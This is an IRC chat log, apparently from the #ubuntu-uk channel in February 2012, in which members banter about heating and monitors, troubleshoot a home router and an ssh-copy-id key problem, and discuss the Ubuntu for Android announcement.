<diplo> I used to sell lot's of those when they first came out
<diplo> they look a bit yuck, and are slightly bigger than a normal SSO, but it works
<hamitron> yeh, we have a few
<hamitron> but say in the living room, the socket is near the tv
<hamitron> and I sit at the opersite side
<hamitron> ;)
<diplo> Hire an electrician, or get chasing some walls out and put some twin and earth in :)
<hamitron> normal light bulbs are cheaper and more efficient tbh
<Azelphur> http://www.youtube.com/watch?v=tydvxGOaEv4&t=6m55s yay for funny cats \o/
<diplo> hamitron, I think standard lamps are getting dropped this or next year
<hamitron> I bought 100W bulbs off market this week
<hamitron> ;)
<hamitron> still plenty
<hamitron> 30p each, hard to argue
<hamitron> now I could get LED that don't light the room for Â£22.....
<hamitron> but decided against it
<diplo> http://en.wikipedia.org/wiki/Phase-out_of_incandescent_light_bulbs#United_Kingdom
<diplo> So rest will be banned by end of this year
<hamitron> doesn't matter if there are still supplies
<hamitron> these ones I got were removed in 2010 or 2009?
<diplo> 2009
<hamitron> so over 2 years after the deadline, and still can get them
<diplo> No one i know uses them anymore
<diplo> probably why
<hamitron> and I got about 150 under the stairs
<hamitron> :D
<diplo> Do you know how much electric it costs to run them compared to an led
<hamitron> a lot more
<hamitron> but I also know the heat is not wasted like people claim
<ali1234> maybe if you live in a barn
<ali1234> i have more problems getting rid of waste heat
<daftykins> hamitron: helps the central heating in winter amirite :D
<ali1234> heating off, window open, 25 degrees C
<hamitron> we don't have central heating in most of the house
<hamitron> :/
<hamitron> daftykins, but that is the idea ;)
<daftykins> =]
<diplo> ali1234, lot's of pc's running ?
<ali1234> 2
<hamitron> well, it is 13 C in this room atm
<daftykins> ali1234: 25 deg inside even now with the above done?
<ali1234> and 2 monitors
<ali1234> daftykins: well the windows been open and the heating has been off for the past 2 days
<daftykins> :O
<daftykins> is it a small room?
<ali1234> not really no
<daftykins> when it was -3 down here in Portsmouth i was struggling to get it a bearable temperature still wearing t-shirt and jumper with the heating on
<hamitron> only 1 jumper? ;/
<diplo> daftykins, Same problem here, lost a lot of weight and with this cold really having issues keeping warm
<daftykins> lol
<hamitron> serves you right
<hamitron> ;D
<daftykins> knew someone would comment on few layers XD
<hamitron> I got 2 on now ffs
<ali1234> so far i've had the heating on for about 10 days this year
<hamitron> :/
<ali1234> during most of which there was snow on the ground and it was below 0 outside
<daftykins> i've an i5 laptop with me so it's not gonna heat the room even with prime95 going ;D
<diplo> I used to be like that ali1234 , never closed my window etc
<diplo> then i got old and fat
<diplo> now just old
<diplo> :)
<hamitron> keeps ya thighs warm though
<daftykins> lol
<hamitron> :)
<daftykins> ah she's on the desk
<ali1234> the ambient indoor temperature has never gone below 22 degrees in that time
<daftykins> lovely little super thin Asus U36SD
<hamitron> keeps the desk and hands warm then
<daftykins> =]
<hamitron> ali1234, you in a newish building?
<ali1234> at which point i put on some socks and it was fine
<daftykins> it's very pleasant right now, heating on, room door open, sat here in t-shirt
<ali1234> hamitron: no, it's a proper victorian house
<daftykins> hamitron: i nearly asked that
<daftykins> mines an 1890s built mid-terrace
<daftykins> http://techblo.gg/stuff/tree2.jpg
<daftykins> :D
<ali1234> if i turn the computers off the temperature goes down to "too cold" within about an hour
<daftykins> are you working them that hard? :)
<ali1234> yes
<hamitron> :))
<hamitron> my other room is 18 C with all the bitcoin rigs working
<hamitron> nice in there
<ali1234> they can't be putting out that much heat though, i'm only using about 500W electricity
<hamitron> I not measured
<daftykins> my Dell 24" LCDs kick out tonnes back home
<ali1234> yeah i've got one of those too
<daftykins> can properly feel it on the tops
<ali1234> yeah it is worrying
<daftykins> 2408?
<ali1234> and when you turn it off it makes loud crunching sounds when it cools down
<hamitron> hehe
<daftykins> haha yeah
<hamitron> only one thing for it..... never take a break from your comp
<hamitron> ;)
<daftykins> next to that comp desk is my TV, AV receiver and xbox too
<daftykins> those add a fair bit
<ali1234> daftykins: 2410
<daftykins> ooo
<daftykins> when i first went to Uni i got myself a 2407 for watching things on socially
<hamitron> I really want my CRT to blow up damn it
<hamitron> :/
<daftykins> then 1.5 years later i bought 2408 - had the two side by side until i sent the 2407 off to who i sold it to
<daftykins> and just doing that pesuaded me to have a matching pair XD
<hamitron> nice :)
<daftykins> hehe
<ali1234> i also have an old samsung next to it
<hamitron> you think it is worth having matching?
<ali1234> not even the same size
<daftykins> yeah it's nice for the consistency of colour reproduction
<daftykins> it's funny though because the secondary stays off whilst the PC POSTs and boots etc
<hamitron> I think my next display(s) will have to be rotatable and 3d
<hamitron> :)
<daftykins> so you actually see a difference in the colours from the primary being on a tad longer once you reach the desktop versus the secondary
<daftykins> but of course they settle down shortly after
<hamitron> ah, yeh
<daftykins> and if you run ATI it'll be moot, since they typically clone output from start to OS
<daftykins> but i'm not fond of that ;) or ATI...
<daftykins> (AMD rather)
<daftykins> must get out of that habit
<hamitron> I'm torn
<hamitron> aha
<hamitron> feel like going intel
<daftykins> 0o
<hamitron> certainly going to give it a go sometime on my i3
<daftykins> as in just go for an on-die gfx solution in a future upgrade?
<hamitron> well, not upgrading atm
<hamitron> done my 5 yearly upgrade
<hamitron> :)
<daftykins> =]
<hamitron> and I'm sure it will all have changed in 4 years
<hamitron> priorities now are monitors I think
<hamitron> and maybe some new feet for my mouse
<hamitron> and caps for my old PC
<daftykins> :D
<daftykins> often felt that you can have a complete heap of a PC
<daftykins> but if the keyboard, mouse and display are good, it's such a difference
<hamitron> oh, I only like cheap keyboards
<daftykins> insane in the membrane? :D
<hamitron> the older cheaper ones are nice and "clank", with each key press
<daftykins> back shortly
<hamitron> ok :)
<hamitron> I agree with having a nice mouse and display though
<Laney> dudes
<hamitron> and any kind of rude mouse mat
<hamitron> Laney
<Laney> the 'virgin super hub' appears to block connections to other machines on the lan
<Laney> know how to fix it?
<ali1234> with a hammer
<Laney> no, modem mode is not an option ;-)
<Laney> yes, thanks, that is very helpful
<hamitron> just unplugging power would stop it blocking connections, no need to be violent ali1234
<hamitron> :/
<ali1234> go into the configuration, find "isolation mode" or "privacy mode" and turn it off
<ali1234> also, is this for wired machine? (highly unlikely) or just wifi?
<Laney> one to the other
<Laney> squeezebox to server (wired)
<ali1234> both?
<Laney> i am searching for this option
<ali1234> this is a standard feature of wifi apps but i've never seen it on wired to wired connections
<Laney> cannot see anything relevant
<Laney> what a heap
<ali1234> i don't even see how it would be possible to implement it given that these things only have a simple switch - it would require every packed checked by the router cpu
<hamitron> the wrt54gl lets you separate and join them back together
<Laney> iptables could do it quite easily
<ali1234> does virgin still use netgear for their routers?
<Laney> i can connect to port forwarded stuff using the external ip
<hamitron> I'd just buy a cheap switch to plug into it
<ali1234> that won't help for wireless
<ali1234> which i suspect is the problem
<Laney> it probaly doesn't route across the interfaces
<Laney> such a pain in the bum
<ali1234> squeezebox is wireless?
<Laney> yes
<mgdm> the WRT54G(L|S) routers have simple switch but it can be made into VLANs, which is probably what's ahppening there
<hamitron> you can't bridge them?
<ali1234> you are correct that it doesn't route across the interfaces. that is because they are bridged, so no routing is required
<hamitron> mgdm, yep
<ali1234> according to google, squeezebox is a wireless media player
<Laney> correct, i just checked the netmask
<ali1234> have i turned invisible?
<hamitron> think he is just looking around
<hamitron> ?
<Laney> what
<ali1234> the squeezebox is wireless right?
<ali1234> and two wired clients can see each other?
<ali1234> and the superhub is made by netgear
<ali1234> and netgear routers support wireless isolation
<ali1234> the configuration for which can be found in the "wireless settings" part (the part when you configure ssid)
<ali1234> not the advanced page
<popey> the superhub is netgear yeah
<daftykins> i have a squeezebox, they're great pieces of kit
<daftykins> got the classic v3
 * directhex zunes
<Laney> oops
<popey> Laney: thanks for the tip off on the sync for that bug report, all done
<Laney> nice
<Laney> got a link?
 * Laney is now rearranging irssi windows, silly grifferz rebooting tings
<popey> bug 937885
<lubotu3> Launchpad bug 937885 in gnome-video-arcade (Ubuntu) "Please sync gnome-video-arcade 0.8.2 from debian" [Undecided,Fix released] https://launchpad.net/bugs/937885
<Laney> oh, it already got sponsored
<popey> yeah :D
<Laney> entirely too efficient
<popey> nice and super quick
<popey> dead happy
<Laney> syncs are easy peasy!
 * Laney snuggles debian a lot
<laney> :D
<laney> I don't think I was meant to start my VPS up quite so soon
<Pernig> my vps has arch
<laney> err, good going
<laney> this android integration is quite nice
<laney> well, not that I know how much is concept
<ali1234> none of it
<ali1234> geez
<ali1234> it's been available for a year!
<AlanBell> http://www.youtube.com/watch?feature=player_embedded&v=gUXUjjg9qQ0
<laney> what has been available a year?
<ali1234> this: http://www.youtube.com/watch?v=uWIe8wQBqS0
<ali1234> "webtop" is ubuntu btw
<laney> something different, I see.
<ali1234> different how? it's the same phone
<laney> it's hardly the same interface is it
<ali1234> well yeah... unity wasn't released ayear ago...
<AlanBell> so what is this gnome-video-arcade thing then? I installed it and it has one line in the window saying H63484
<AlanBell> what is it intended to do?
<ali1234> it's a simple launcher for mame
<AlanBell> http://people.ubuntu.com/~alanbell/gva.png I don't know what to click
<ali1234> "start"?
<ali1234> you need game roms
<AlanBell> start does nothing
<ali1234> see above
<popey> you need mame installed too
 * bigcalm looks around
<ali1234> it doesn't have a dependency for that?
<popey> and yeah, some roms
<popey> probably does, actually
<AlanBell> yeah, I seem to have mame installed
<popey> it doesnt
<popey> because there's lots of them, and some people compile from sauce
<ali1234> http://www.youtube.com/watch?feature=player_detailpage&v=gUXUjjg9qQ0#t=169s
<popey> phone number?
<ali1234> no
<ali1234> that it still uses the same "mobile view" thing that the atrix uses
<popey> ah
<ali1234> so text messages don't actually go through telepathy
<ali1234> you just get the cunt, if you want to read them, you get the android UI in a window
<popey> O_O
<ali1234> hmm that was an unfortunate typo
<popey> heh
 * laney eyes grifferz
<AlanBell> ali1234 wins the typo of the week award
<popey> what should it have been?
<ali1234> count? obviously?
<bigcalm> Any WolvesLUG peeps in here atm?
<ali1234> so here's a question. if i have a TV with ubuntu TV and a phone with ubuntu and i plug them together, what happens then?
<ali1234> yo dawg, we heard you like ubuntu so we put ubuntu for android in your ubuntu tv so you can ubuntu while you ubuntu?
<AlanBell> I rather think that all depends on whether an OEM that sells both TVs and Phones wants to play
<popey> i dont
<ali1234> does it have to be the same OEM?
<popey> its an hdmi cable
<popey> the tv would show what the phone outputs
<ali1234> no, you missed my point
<popey> which might be TV UI or desktop UI
<AlanBell> sure, that would work
<ali1234> what if the TV has ubuntu in it as well?
<popey> by default, at the moment, nothing special
<popey> but thats certainly been considered
<AlanBell> there is probably an opportunity to do something more clever, if someone wanted that
<popey> 'multiscreen'
<AlanBell> pip
<ali1234> meh
<popey> same as if you had a tablet on your lap
<popey> and ubuntu tv on the tv
<ali1234> let me put it another way
<ali1234> why would i buy both in the first place?
<popey> depends which you bought first
<ali1234> suppose i don't have either
<ali1234> which one should i buy?
<popey> if you bought the phone and used it as your phone, work desktop and media player then you get 3 devices in one
<popey> if you buy Ubuntu TV then you get one of the 3
<gordonjcp> good evening from sunny Cumbria
<ali1234> hmm, i would say you get 2 of the three
<popey> yeah, dunno how much of the 'real' desktop you'll get with ubuntu tv, but ok
 * AlanBell sticks to original assertion. If an OEM wants to link products into a "lifestyle" set like apple then they probably could.
<ali1234> actually, if you buy the ubuntu tv you get... a media player. add the keyboard and you get the pc.
<popey> maybe
<popey> dunno how locked down the OEMs will make it?
<ali1234> if you buy the ubuntu phone you get a phone. add the tv and you get the media player, but the tv comes with the media player anyway. add a keyboard and you get the pc
<popey> there's no guarantee that you'll be able to install traditional desktop apps on the tv, might not have much storage for example
<popey> and it might be mips â¨
<ali1234> the same thing goes for the phone?
<popey> i think its less likely with the phone
<ali1234> not much storage, definitely will be arm
<popey> personally speakingf
<popey> yeah
<ali1234> and slow
<popey> similar issues
<popey> I dunno, either way
<ali1234> i mean this stuff is all cool but there doesn't seem to be an end game here
<popey> yeah, i can see that, from the outside it looks sometimes like a scattergun approach
<ali1234> here's direct comparison of webtop sending an sms vs ubuntu: http://www.mattfacts.dangdeals.com/wp-content/uploads/2011/03/smsim.jpg
<ali1234> http://www.extremetech.com/wp-content/uploads/2012/02/ubuntu-for-android-settings.jpg
<ali1234> oh wait, that's in the settings menu. but you get the idea. it's the same software, even has the same name "mobile view"
<AlanBell> but Webtop is meh, and Ubuntu is OMG ponies!!111
<ali1234> yeah, pretty much
<bigcalm[lappy]> Woof
<Laney> much better. although he wasn't lying about the insane io load
 * Laney crawls through treacle
#ubuntu-uk 2012-02-22
<ali1234> so i htink i figured out how the atrix actually works
<ali1234> it's not chroot or anything like that
<ali1234> i believe it's a full hypervisor with a virtualized usb connection between the two devices
<ali1234> and then all the integration is done the same way as if you had a separate phone and computer connected by usb
<ali1234> note that you can access the desktop of an android phone with debug bridge over usb or wireless
<ali1234> and also query number of messages etc
<ali1234> so the question then is, will i be able to get this fancy integration when i plug a real android phone into an ubuntu computer?
<BigRedS> Oh, I'd assumed containers or something
<BigRedS> I say 'or something', but I mean exactly containers
<ali1234> vmware were running demos of android and ubuntu on pandaboard at one point
<ali1234> or some arm board
<penguin42> ali1234: Oh I see, I'd assumed it wasn't virtualised
<ali1234> http://www.youtube.com/watch?v=wsyh5_4Dz2c
<penguin42> ali1234: No, I mean I'd assumed the ubuntu thing wasn't
<ali1234> hypervisor doesn't care what you run :)
<ali1234> ah here's the video: http://www.youtube.com/watch?v=UNo6pn-dnSQ
<ali1234> windows CE and android running on N800
<BigRedS> ah yeah, I remember that
<ali1234> ah supposedly it uses this http://www.ok-labs.com/
<ali1234> http://wiki.ok-labs.com/ hey i recognise that guy on the frnt page
<ali1234> oh my bad, different guy
<ball> I feel deprived. I didn't get to eat any pancakes today.
<ball> Hello webpigeon
<Azelphur> I really love my advertising company lol
<Azelphur> "We <3 patches" *Submit bugfix* "Thanks for the help, have a CS:GO beta key"
<ali1234> your advertising company?
<ali1234> also what's CS:GO?
<Azelphur> ali1234: the company that pays me to show their adverts, CS:GO is an upcoming valve title I plan on hosting for
<ali1234> yeah, but what is it?
<Azelphur> ali1234: http://pinion.gg
<ali1234> no, CS:GO?
<ali1234> i assume it's a FPS?
<Azelphur> yea
<Azelphur> counter strike: global offensive
<Azelphur> I would play it, but steams down as usual :D
<ali1234> heh
<ali1234> you should branch out into games that aren't FPS games
<Azelphur> like minecraft, we've got a nice minecraft server about to go public :P
<ali1234> i thought it was already public
<Azelphur> it was, everything broke with 1.8 and Bukkit was so slow releasing the 1.0 update that it just died
<ali1234> i was thinking more like yahoo games type stuff
<ali1234> you can stuff way more advertising into web games
<Azelphur> so now we've redone the whole thing and are planning to get it back out again, but it's /hugely/ improved :p
<Azelphur> ali1234: yea, but those games are boring :(
<ali1234> you don't have to play them
<Azelphur> ali1234: perhaps, but I'm mostly valueadded atm
<ali1234> what does that mean?
<Azelphur> ali1234: I take the games, add cool things to them, decent support and quality hosting, tada.
<Azelphur> our unmodified TF2 server receives the least traffic by far, compared to our modified one
<ali1234> "homework help" forum. lol
<Azelphur> ali1234: agree'd on the terrible forum layout >.>
<Azelphur> and the terrible website in general
<Azelphur> It's all being replaced
 * penguin42 wonders if this is the whole reason for the package name     Unpacking replacement cheese ...
<czajkowski> aloha
<TheOpenSourcerer> !python-psycopg2
<TheOpenSourcerer> !info python-psycopg2
<lubotu3> python-psycopg2 (source: psycopg2): Python module for PostgreSQL. In component main, is optional. Version 2.4.2-1 (oneiric), package size 610 kB, installed size 2176 kB
<TheOpenSourcerer> !info python-psycopg2 lucid
<lubotu3> python-psycopg2 (source: psycopg2): Python module for PostgreSQL. In component main, is optional. Version 2.0.13-2ubuntu2 (lucid), package size 132 kB, installed size 396 kB
<TheOpenSourcerer> !info python-psycopg2 +1
<lubotu3> '+1' is not a valid distribution: hardy, hardy-backports, hardy-proposed, kubuntu-backports, kubuntu-experimental, kubuntu-updates, lucid, lucid-backports, lucid-proposed, maverick, maverick-backports, maverick-proposed, medibuntu, natty, natty-backports, natty-proposed, oneiric, oneiric-backports, oneiric-proposed, partner, precise, precise-backports, precise-proposed, stable, testing, unstable
<TheOpenSourcerer> !info python-psycopg2 precise
<lubotu3> python-psycopg2 (source: psycopg2): Python module for PostgreSQL. In component main, is optional. Version 2.4.4-3 (precise), package size 144 kB, installed size 598 kB (Only available for any all)
<czajkowski> TheOpenSourcerer: having fun there?
<TheOpenSourcerer> :-D
<mattt> morning
<DJones> Morning all
<Myrtti> mmmÃ¶h.
<TheOpenSourcerer> Good Morning my fine feathered friends... How are we all today then?
<czajkowski> fandiddlytastic
<ubuntuuk-planet> [Jono Bacon] Ubuntu for Android: The Response - http://www.jonobacon.org/2012/02/22/ubuntu-for-android-the-response/
<diplo> Morning all
<daubers> Morning
<BigRedS> good morning!
<Myrtti> I'm feeling a bit sad now for not getting a puzzle piece cookie cutter printed on Saturday
<Myrtti> could have made puzzle donuts today
<TheOpenSourcerer> Anyone fancy helping me think about doing redirects (apache or nginx - not really product specific) for a few minutes?
<mattt> that ubuntu on the phone w/ docking station is very nice
 * mattt wants
<BigRedS> TheOpenSourcerer: think about doing redirects, or actually do redirects? :)
<BigRedS> but, yeah, I can offer Apache flavoured suggestions
<TheOpenSourcerer> Cool - Thanks BigRedS. Hang on.
<brobostigon> good morning everyone,
<BigRedS> no worries.
<BigRedS> good morning!
<bigcalm> Good morning peeps of irc :)
<brobostigon> good morning BigRedS and bigcalm
<bigcalm> Hi brobostigon
 * dwatkins finds it amusing that when he went to google for a fourier transform application he discovered that it's Heinrich Rudolf Hertz's birthday 
<bigcalm> That is a fun animation
<dwatkins> indeed it is
 * gord has the pancake regrets
<czajkowski> gord: that'll learn you
<gord> seeing as i get the pancake regrets every year, i don't think it will
<mattt> regretting you didn't eat enough pancakes?
<bigcalm> Has anybody told the Canonical design team that they now endorse goatse?
<bigcalm> My regret is that we didn't have any :(
 * AlanBell regrets that not enough batter was made
<AlanBell> bigcalm: yes, I believe it has been noted
<mattt> bigcalm: goatse, where?
<gord> they displayed that logo on a giant banner at last uds
<bigcalm> I know it's been noted by the community, but still...
<bigcalm> gord: and thus were commited?
<czajkowski> bigcalm: aye jon said the exact same thing last night when he saw the image
<AlanBell> http://www.ubuntu.com/devices/android ready to talk
<AlanBell> I don't really get what the image is supposed to represent
<AlanBell> "get in touch" perhaps. If you are E.T.
<mattt> heh, i don't even recognize that image
 * mattt needs more 4chan
<czajkowski> http://www.reddit.com/r/Ubuntu/comments/q08zm/the_internet_has_ruined_me_seen_on_ubuntu_site/
<JamesTait> Good morning all!
<czajkowski> JamesTait: herrrro how were the lemons
<JamesTait> czajkowski: Lemony. :)
<JamesTait> czajkowski: I was quite chuffed with the experiment actually. The LED was actually lit, although it doesn't show up well on the photo.
<czajkowski> JamesTait: oh didnt realise that
<JamesTait> czajkowski: Connagh asked me the other day how batteries are made, so when we needed to get a lemon for the pancakes I said "Get a bag full, I've got a plan."
<czajkowski> JamesTait: how do you say Connagh ?
<JamesTait> czajkowski: Same way as Connor. ;)
<JamesTait> czajkowski: Or Conor.
<czajkowski> so what kind of spelling or variation is that ?
<JamesTait> czajkowski: We thought the world needed another way to spell it. :-P
<czajkowski> right
<czajkowski> :)
<JamesTait> czajkowski: It's an embarrassing mistake. :)
<czajkowski> there are reasons my sister and I do not have Irish names :) besides the obvious of them not really going with the surname
<czajkowski> JamesTait: too late to change, or is he always going to get asked why it is spelt that way
<JamesTait> czajkowski: I saw Connah's Quay pass by on the football scores, and I could have sworn it had a 'g' in it.
<AlanBell> lol
<AlanBell> my kids have Irish middle names
<JamesTait> czajkowski: We could change it, but why bother? He's always spelled it that way and people don't usually bat an eyelid when we correct their misspelling. :-P
<czajkowski> JamesTait: they're not misspelling it :)
<AlanBell> Aoife, Catriona, Cormac
<czajkowski> but he will be unique :)
<TheOpenSourcerer> Gosh.
<JamesTait> czajkowski: Yeah, OK, I'll give you that. ;)
 * TheOpenSourcerer just found out what goatse is :-(
<JamesTait> TheOpenSourcerer: NSFW. :-P
<AlanBell> now un-see it
<TheOpenSourcerer> Indeed.
 * JamesTait is bored of waiting for the insurance company.
<mattt> JamesTait: reminds me of first time i saw siobahn :-/
<TheOpenSourcerer> AlanBell: That is impossible. a bit like TGOC
<JamesTait> mattt: Well at least Connagh kind of looks like how it often gets pronounced: Conn-AAAAAAGGGGGHHHHH!
<czajkowski> mattt: aye Siobhan pretty name
<mattt> czajkowski: nearly had a facepalm moment w/ that one tho
<czajkowski> we used to find it odd listening to correnation st the way they said deidre
<czajkowski> gah so help me am gonna start to get royally peeved off now when I alt tab on irc all my window goes white or transparent
<czajkowski> so flipping annoying
 * gord puts off doing that review for another day ;)
 * czajkowski kicks gord 
<czajkowski> no more bickies or tea ever for you
<drhodesmumby> I walk in to find violence against gord? D:
<drhodesmumby> What's he done to deserve such treatment?
<AlanBell> he let some code escape the safety of his laptop
<drhodesmumby> Seems a bit harsh AlanBell, unless said code was a nuclear launch code.
<drhodesmumby> In which case I would find the question of why he possesses them considerably more interesting!
<AlanBell> he is in your alt key breaking your screenshots
<drhodesmumby> Not mah screenshots!
<drhodesmumby> Oh teh noes!
<bigcalm> Has anybody seen my motivation this morning?
<czajkowski> bigcalm: hows the lighthouse?
<bigcalm> czajkowski: that's tomorrow
<czajkowski> ahh
<bigcalm> Hopefully warmer than last week
<bigcalm> Tonight will be my 1st attendance of Wolves LUG though
<bigcalm> So I get an extra dose of mrevell and davmor2
<bigcalm> mrevell: are you attending tonight and do you want a lift?
<bigcalm> I shall use the A41/A5 and save myself a LOT of stress :)
<mrevell> bigcalm, Hello! I'm unlikely to attend tonight. I have a work call at 20.00. Thanks for the lift offer; I'd have to drive myself if I were coming as I can't say when I'd be ready.
<bigcalm> mrevell: ok
<mattt> bigcalm: lighthouse?
<Azelphur> hmm, ssh-copy-id has stopped working for me, it says it worked and that I should try sshing the machine, but when I do so it prompts me for the password again \o/
<diplo> Really must get round to trying ssh-copy at some point
 * diplo is still manual atm
<AlanBell> I think it only works on the standard port
<AlanBell> but it normally works well for me
<Azelphur> yea it normally works well for me it just seems to have gone sideways
<bigcalm> mattt: The Lighthouse media centre in Wolverhampton. Home workers such as mrevell, davmor2, myself and occasional others turn up every 2 weeks on a Thursday to do work.
<davmor2> morning all
<popey> that
<bigcalm> Ah, davmor2, just the person. Good morning
 * davmor2 runs away
<bigcalm> Bwuhaha
<davmor2> bigcalm: what, what?
<bigcalm> davmor2: tonight's LUG meeting. The pub serves food I believe. Do LUG attendees actually eat there or would I be the only one?
<davmor2> no most people eat there
<bigcalm> Ah, cool
<bigcalm> Means that I can have me a pint as well (not drinking on an empty tum)
<davmor2> OI czajkowski PROD! morning
<davmor2> MooDoo: me owld mukka
<czajkowski> davmor2: herrrro greetings from millbank
<davmor2> czajkowski: oh get you working from across the river
<czajkowski> aye go me
<s-fox> Hello.
 * bigcalm considers parking at Fold St car park: a) it's free after 6pm, b) the walk across town will do me good
<bigcalm> c) I know how to get to it ;)
<Azelphur> Is it safe to pastebin the output from ssh -vv?
<Azelphur> or does it contain lots of bad things
<bigcalm> Azelphur: you might want to mask public IP addresses
<Azelphur> *shrug* local connection \o/
<bigcalm> Passwords shouldn't be shown
<Azelphur> So here's the ssh -vv if anyone has any idea about my ssh-copy-id issue http://pastebin.com/aehQ5s4S
<Azelphur> I get automatic login, but only if I already have an ssh session open with the remote host, besides that it doesn't connect
<diplo> ebug1: Trying private key: /home/azelphur/.ssh/id_dsa
<diplo> debug1: Trying private key: /home/azelphur/.ssh/id_ecdsa
<diplo> debug2: we did not send a packet, disable method
<Azelphur> so why's it not sending it? :(
<diplo> Only issues I've had before are permissions on .ssh dir on remote host
<diplo> It's kinda strict about that
<Azelphur> http://paste.ubuntu.com/852527/
<Azelphur> pretty sure it's fine :(
<diplo> the dir itself
<Azelphur> drwx------  2 bitcoin bitcoin     4096 2011-06-02 01:30 .ssh
<diplo> http://www.noah.org/wiki/SSH_public_keys
<diplo> Looks fine tbh
<Azelphur> \o/
<Azelphur> my keys are working fine for other servers
<Azelphur> it's just this one specific box
<diplo> yeah it's the .ssh dir on remote sites that I always have issues with, our staff seem to screw with the companies users profile everytime :(
<Azelphur> \o/
<diplo> Only other issue I have is that the rsa srting isn't one string
<diplo> So hasn't been copied correctly
<Azelphur> if I remove .ssh/authorized_keys on the remote is that likely to fix it?
<Azelphur> I'm the only person accessing it anyway
<diplo> yeah it will just stop auto login which doesn't work anyway
<diplo> :)
<Azelphur> yep, that fixed it \o/
<Azelphur> ty :)
<ali1234> do you have multiple key pairs?
<Azelphur> wat
<ali1234> it's a fairly simple question :/
<Azelphur> haha, but I don't know hardly anything about ssh \o/
<ali1234> when you run ssh-copy-id it uploads your public key to the remote host
<Azelphur> ali1234: nah I only have the one
<ali1234> if you have multiple keys it sometimes causes problems if ssh picks the wrong one
<ali1234> like if you have two keys and only one has been put on the server
<Azelphur> ali1234: I have reloaded a couple times and had my keys change, looks like the server had a bunch of old keys in it, could be the case
<ali1234> that could do it, maybe if you had the same name for the key
<Azelphur> :'( it's prompting for password again
<Azelphur> and I only have one entry in the remote .ssh/authorized_keys
<directhex> you're putting the contents of id_rsa.pub, not id_rsa?
<directhex> it's not line wrapped?
<Azelphur> I'm not touching any files
<Azelphur> I'm just doing ssh-copy-id user@remote, it's saying it all went well, but I'm still getting a password prompt
<popey> is the target user home directory /home/<user>/ ?
<popey> and not some other random path?
<diplo> Also not rsa2
<ali1234> ~/.ssh/authorized_keys on the remote should be exactly the same file as ~/.ssh/id_<whatever>.pub on the local
<Azelphur> popey: yes
<andyloughran> howdy :)
<Azelphur> ali1234: it is :)
<ali1234> hmm actually there might be an extra trailing newline on one of them
<andyloughran> guys, is there a build of andrubuntu that I can put on my S2 using odin ?
<ali1234> but other than that
<ali1234> andyloughran: NO
<andyloughran> ali :p
<andyloughran> I guess I'm not the first to ask
<andyloughran> only saw jono's post this morning
<ali1234> actually, you are
<popey> heh
<popey> the first _here_
<ali1234> Azelphur: how many id_*.pub files do you have in ~/.ssh/ on local machine?
<andyloughran> wahey!
<Azelphur> ali1234: 1
<ali1234> Azelphur: hmm :/
<ali1234> andyloughran: odin is the samsung flashing tool right?
<andyloughran> what about hacking the firmware on my Samsung LCD to add ubuntu TV
<andyloughran> ali1234: yeah
<andyloughran> :p
<ali1234> well, the thing is..... the whole thing relies on the phone already having a hypervisor
<ali1234> and the necessary drivers of course
<AlanBell> which is just that obscure motorola thing
<AlanBell> well might not be obscure, just I never heard of it before yesterday
<ali1234> the hypervisor is't motorola actually, it's made by open labs
<andyloughran> hmm, I have the Samsung TV that was used for the demo
<andyloughran> http://www.phoronix.com/scan.php?page=news_item&px=MTA0MDc
<ali1234> see okl4.org
<ali1234> i don't know anything about the TV demo
<AlanBell> what is the difference between a TV and an HDMI monitor?
<ali1234> AlanBell: a TV has a tuner?
<popey> and a remote contorl
<popey> *control
<AlanBell> so I didn't get that part of the demo with the phone
<ali1234> and if it's a decent TV, a lot of deinterlacing and motion compensation hardware
<seeker> Generally more processing in a TV
<popey> it was easier to just show you with one screen
<AlanBell> they unplugged it from what looked like a TV, then plugged it into what looked like a TV
<AlanBell> and announced now, this is a TV
<popey> what don't you get?
<AlanBell> the phone demo
<popey> what don't you get?
 * Myrtti facepalms at Finnish media publishing a story based on Canonical press release on "how Android phones will soon have Linux"
<popey> haha
<ali1234> wrong on so many levels
<Myrtti> it's not even the only mistake
<bigcalm> Awww
<ali1234> but hey
<AlanBell> I don't get how you get a different experience from a monitor to a TV, which was implied in the demo
<ali1234> the announcement was pretty misleading to start with
<Myrtti> "version of Ubunta"
<popey> ok, here's a scenario
<awilkins> They were running Ubuntu TV on the phone as well as Ubuntu Desktop... I think there may be some smoke and mirrors there concerning how it knows what's a TV and whats a monitor - it must be preconfigured depending on the device identifier
<popey> on the way to work, phone in pocket, catching up with email, using phone as a phone
<Myrtti> "smart phone docked to the desktop computer works beside the phone" WHUT
<popey> get to work, plug into dock, phone says "A dock! I will switch to 'Desktop mode'"
<popey> pull phone out of dock, phone says "No dock, time to be a phone again"
<ali1234> popey: we understand the idea
<ali1234> the point is, the video didn't make it very clear
<AlanBell> so dock=desktop, cable=tv?
<popey> ok, I'll stop
<ali1234> AlanBell: the dock can say "i'm a TV" or "i'm a desktop workstation"
<awilkins> AlanBell,  You could probably infer that you wanted to be a desktop or TV from the lack of keyboard
<ali1234> because it's just a USB device
<popey> or the existence of a remote contorl
<awilkins> Or from the device identifier of the screen
<popey> *control
<awilkins> Or whatever
<ali1234> exactly
<AlanBell> ok, I see now
<popey> which is what I was getting to
<popey> hey ho
<andyloughran> I like it
<ali1234> andyloughran: why didn't you buy it a year ago when it was released then?
<awilkins> I like it. I like that I've not seen them trying the same thing with Windows
<andyloughran> I like the android app for turning my S2 into a remote control for my Samsung TV
<andyloughran> ali1234: why didn't i buy what?
<AlanBell> ali1234: because nobody marketed it at me a year ago when I was buying phones
<ali1234> you can't tell me you never heard about it
<AlanBell> I never heard about it
<AlanBell> until yesterday
 * bigcalm hugs popey
<ali1234> it won the "best most amazing phone ever" award at MWC
<ali1234> and it was all over engadget and etc
<andyloughran> I don't have such a sophisticated setup - I once setup my phone (sony ericsson w100 I think) to have ubuntu run in live mode on it's SD card, so when I plugged the phone in via usb it booted up into ubuntu
<andyloughran> ali1234: I've not heard of it
<andyloughran> and lack of funds :p
<awilkins> I reckon this sort of thing is probably good for management types
<ali1234> yeah
<awilkins> Esp. the ones who travel a lot
<popey> corporates is exactly who its good for
<ali1234> i know a few people this would be perfect for
<bigcalm> Early lunch \o/
<ali1234> except for the fact they need to run windows
<awilkins> Depends how deep the need to run Windows is
<awilkins> I do agree that some people have that need
<ali1234> they need to run office and have it actually work properly
<ali1234> and you can try to claim it runs in wine but that a) won't work on arm and b) is incredibly buggy
<awilkins> I'm willing to bet that LibreOffice probably isn't up to it yet either
<ali1234> lol
<ali1234> ok so they work on charts and reports a lot
<ali1234> these are reports for clients
<ali1234> so they need to know that the client can open it and what it will look like when they do open it
